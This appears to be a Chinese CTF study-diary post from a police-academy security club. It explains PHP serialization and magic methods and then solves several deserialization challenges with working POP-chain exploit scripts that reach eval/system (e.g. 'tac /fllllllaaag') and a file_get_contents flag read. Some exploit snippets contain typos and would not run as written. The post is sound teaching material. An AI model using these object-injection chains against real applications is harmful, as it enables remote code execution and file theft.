皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
2021级 Will1am | 用几道题weke up我的反序列化
前言
序列化和反序列化
PHP魔术方法
Warmup[l3m0n的pop]
[NISACTF 2022]baby serialize
[第五空间 2021]pklovecloud
一道题
ezunseri-西华大学
poppop-中国人民公安大学
取证和大数据的比赛接近尾声了,终于有时间来把我的Web捡起来了,那就从反序列化开始吧,wakeup。
为方便存储和传输对象,将对象转化为字符串的操作叫做序列化( serialize() ),将所转化的字符串恢复成对象的过程叫做反序列化(unserialize() )。
举个例子
<?php
Class test{
public $a= '1';
public $bb= 2;
public $ccc= True;
}$r= new test();
echo(serialize($r));
# O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}
$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");
echo(serialize($array_t));
# a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}
方法名 | 调用条件 |
__construct() | 在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法 |
__destruct() | 和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法 |
__toString() | 当对象被当做一个字符串使用时调用 |
__sleep() | 当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作 |
__wakeup() | 反序列化恢复对象之前调用该方法。当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数 |
__invoke() | 把一个实例对象当作函数使用时被调用 |
__call() | 调用不可访问或不存在的方法时被调用 |
__callStatic() | 调用不可访问或不存在的静态方法时自动调用 |
__get() | 在调用私有属性的时候会自动执行 |
__isset() | 在不可访问的属性上调用 isset() 或 empty() 时触发 |
__set() | 当给不可访问或不存在属性赋值时被调用 |
__unset() | 在不可访问的属性上使用 unset() 时触发 |
__set_state() | 当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值 |
__clone() | 进行对象clone时被调用,用来调整对象的克隆行为 |
__debuginfo() | 当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本 |
一个很简单的链子,找找记忆
<?php
class lemon {
protected $ClassObj; function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
危险的命令执行方法eval
不在魔术方法中,在evil
类中。但是魔术方法__construct()
是调用normal
类,__destruct()
在程序结束时会去调用normal
类中的action()
方法。而我们最终的目的是去调用evil
类中的action()
方法,并伪造evil类中的变量$data
,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,变量$data
赋予恶意代码,比如php探针phpinfo()
,这样就相当于执行<?php eval("phpinfo();")?>
<?php
class lemon {
protected $ClassObj; function __construct() {
$this->ClassObj = new evil();
}
}
class exil {
private $data = "phpinfo();";
}
$a = new lemon();
echo serialize($a);
用这道题习惯下反推的思维
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
} function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
既然是反推,那我们就从可控参数入手
这里先看到eval,而eval中的参数是可控的
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
可以初步猜测为代码执行,这里的eval在__invoke中
__invoke魔术方法是对象被当做函数进行调用的时候所触发
反推看哪里用到了类似$a()这种的。
public function __toString(){
$bb = $this->su;
return $bb();
}
}
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
下一步很显然是找一个字符串
class four{
public $a="TXW4EVER";
private $fun='abc'; public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
这里用了个函数来搞字符串
可以看到,会把字符串转换为小写。这里就可以存在把对象当做字符串进行操作。
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup
class Ilovetxw{
public $huang;
public $su; public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
再找fun
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
所以链子思路就是
__invoke --> __toString --> __set --> __call --> __wakeup
NISA --> Ilovetxw --> four -->Ilovetxw-->TianXiWei
这里进行常规大小写转换,就可以绕过(第五行的Sys….)
<?php
show_source('2.php');
class NISA{
public $fun;
public $txw4ever='System("tac /fllllllaaag");';
}class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
} class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
依然是用倒推法来进行解题,这里没有找到eval之类的可控参数,但是有file_get_contents
函数的使用,这个可以用来读取文件,也就是可以用来读取flag.php,所以我们就用这个函数来反推。
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}:
}
}
可以看到,如果想调用file_get_contents
的话就必须满足8-10的条件,才能触发echo_name()
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
而echo_name()
在acp中的__toString中触发,所以我们就如要找到如何调用__toString这个函数,同时这里使用isset函数来检测cinder是不是空的,正好我们要查看的flag.php可以作为一个字符串来查询,那我们就需要acp $this->cinder = new ace();
,同时可以看到acp实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使acp$this->cinder=对象
,正好对应了我们上面分析的acp $this->cinder = new ace();
所以分析出来的pop链如下
acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)
但问题也出现了,从未出现的$heat
变量应该如何处理呢?还有unserialize($this->docker)
。
那么如何满足$this->openstack->neutron === $this->openstack->nova
就成为了关键。
在官方的WP中直接传入了一个'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}'
这就是关键了我们用刚开始的那个表来对照分析一下
出现了一个R:2
,这玩意代表什么呢?
测试一下当两个值都未赋值时是否能通过===
<?php$a = $heat;
$b = $c;
echo $a.'--';
echo '<br>';
echo count($a);
echo '<br>';
if($a===$b)
echo 'Data type and value both are same';
else
echo 'Data type or value are different';
?>
类型和值大小都是相同的
搜百度得到R代表pointer reference(指针)
构造个类且序列化验证这个指针到底是干啥的
<?phpclass Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($n,$o,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}
$Will1am = new Test(1,1,'1',true);
$Will1am->m = &$Will1am->n; //声明变量m,引用自变量n
echo (serialize($Will1am));
?>
不难分析出,R 后的数字代表了要引用其他变量的变量所处的位置。当 m 引用 n 时为 R:2,当 o 引用 n 时 为 R:3。但是 m 是第一个变量,为什么会从 2 开始呢? R:1 又代表什么呢?
猜测 R:1 在这里代表的是$payload = &$payload->nova
,即要引用其他变量的变量是该类实例化的对象本身。
然后看了看别的wp,发现根本不用在这里纠结…..
if($this->openstack->neutron === $this->openstack->nova)
这里可以使用NULL===NULL进行绕过
$this->openstack = unserialize($this->docker);
这里当docker为空时,可以绕过。
<?php
error_reporting(0);
$b='';
var_dump(unserialize($b));
var_dump($b->a);
if($b->a===$b->b)
{
echo 'cool';
}
else echo 'nono';
?>
所以我们EXP也可以是这样的
<?php
class acp
{
public $cinder;
public $neutron;
public $nova;
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='../nssctfasdasdflag';
echo urlencode(serialize($b));
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
还是利用反推的思路
首先得知道从哪才能读flag,很显然
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
这里面没有魔术方法的调用,我们需要去找找哪里调用了这个方法
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
这里通过__toString()
来对get_flag()
进行调用,调用条件是把string1
当成字符串使用,因为调用的是参数str1的方法,所以需要把string1::str1
赋值为类GetFlag
的对象
接着去找找字符串
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
这里的__invoke()
方法中执行了一个字符串拼接,所以我们需要把func
当成函数制动调用__invoke()
然后把func::$mod1
赋值为string1
的对象与func::$mod2
拼接。
然后找找哪里用了调用了函数
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
这里对$s1
进行了调用,需要把funct::$mod1
赋值为func类的对象(因为调用invoke需要把func当成函数调用),又因为函数调用在__call()
方法中,且参数为$test2
,即无法调用test2
方法时自动调用 __call方法;
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
在Call
中的test1
方法中存在$this->mod1->test2();
,需要把Call::$mod1
赋值为funct
的对象,让__call
自动调用。
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
查找test1
方法的调用点,在start_gg
中发现$this->mod1->test1();
,把start_gg::$mod1
赋值为start_gg
类的对象,等待__destruct()
自动调用。
EXP
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对
<?php
highlight_file(__FILE__);
error_reporting(0);class Exec
{
public $content;
public function execute($var){
eval($this->content);
}
public function __get($name){
echo $this->content;
}
public function __invoke(){
$content = $this->execute($this->content);
}
public function __wakeup()
{
$this->content = "";
die("1!5!");
}
}
class Test
{
public $test;
public $key;
public function __construct(){
$this->test = "test123";
}
public function __toString(){
$name = $this->test;
$name();
}
}
class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;
public function __construct($name="UNCTF"){
$this->name = $name;
}
public function show(){
echo $this->name.$this->code;
}
public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;
}
}
}
if(isset($_GET['pop'])){
$a = unserialize($_GET[pop]);
}else{
$a = new Login();
$a->show();
}
还是倒着分析,不难看出最终落脚点是eval
,eval
在execute
中,然后可以发现execute
在__invoke()
中,然后我们进一步寻找是由有函数调用,在class Test
的__toString()
中发现调用了$name
,然后我们寻找echo
等可以返回字符串的函数,在class Exec
中的__get
和class Login
中的show()
都发现了echo,但需要借用__get
来访问class Login
中的private
,即private $name;
这样可以调用class Login
中的__destruct()
作为链子的开始。
EXP
<?php
highlight_file(__FILE__);
error_reporting(0);class Exec
{
public $content;//要执行的命令
/*public function execute($var){
eval($this->content);// 命令执行点
}
public function __get($name){
echo $this->content;
}
public function __invoke(){
$content = $this->execute($this->content); //POP 终点
}
public function __wakeup()
{
$this->content = "";
die("1!5!");// 要绕过这里的 wakeup
}*/
}
class Test
{
public $test;
public $key;
/*public function __construct(){
$this->test = "test123";
}
public function __toString(){
$name = $this->test;
$name();
}*/
}
class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;
/*public function __construct($name="UNCTF"){
$this->name = $name;
}
public function show(){
echo $this->name.$this->code;
}
public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;// POP 入口点 从 key 中调用了 get 参数,可以触发 get 魔术方法
}
}*/
}
$exec1 = new Exec();
$exec2 = new Exec();
$test = new Test();
$login = new Login();
$login -> code = "3.1415926";
$login -> key = $exec1;
$exec1 -> content = $test;
$test -> test = $exec2;
$exec2 -> content = "system(tac f*);";
$out = urlencode(serialize($login));
echo $out;
/*if(isset($_GET['pop'])){
$a = unserialize($_GET[pop]);
}else{
$a = new Login();
$a->show();
}*/
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code); }
function __wakeup(){
$this->code = "";
}
}
class B{
public $key;
function __destruct(){
echo $this->key;
}
}
class C{
private $key2;
function __toString()
{
return $this->key2->abab();
}
}
if(isset($_POST['poc'])) {
unserialize($_POST['poc']);
}else{
highlight_file(__FILE__);
}
还是倒着分析利用链,可以看到eval
再class A
中,执行函数就是我们的终点,下面就是如何调用这个__call
,我们再class C中可以看到abab()
是之前没有出现过的,是没法直接调用的,所以就会触发__call
。在class C
中存在方法__toString()
,当有字符串时会被调用,那么自然关注到了class B中的echo
,因为它会返回一个字符串,就可以调用__toString()
了,其方法调用为__destruct()
,在执行unserialize
的时候会被调用,也就是链子的开头。
所以我们的pop链就是这样的
__destruct() --> __toString() --> __call
B --> C --> A
EXP
<?php
class A{
public $code
function __call($method,$args){
eval($this->code);
}
}class B{
public $key;
function __destruct(){
echo $this->key;
}
}
class C{
private $key2;
function __construct(){
$this->key2=new A();
}
function __toString()
{
return $this->key2->abab();
}
}
$d = new B();
$e = new C();
$f = new A();
$d -> key = $e
$f -> code = phpinfo();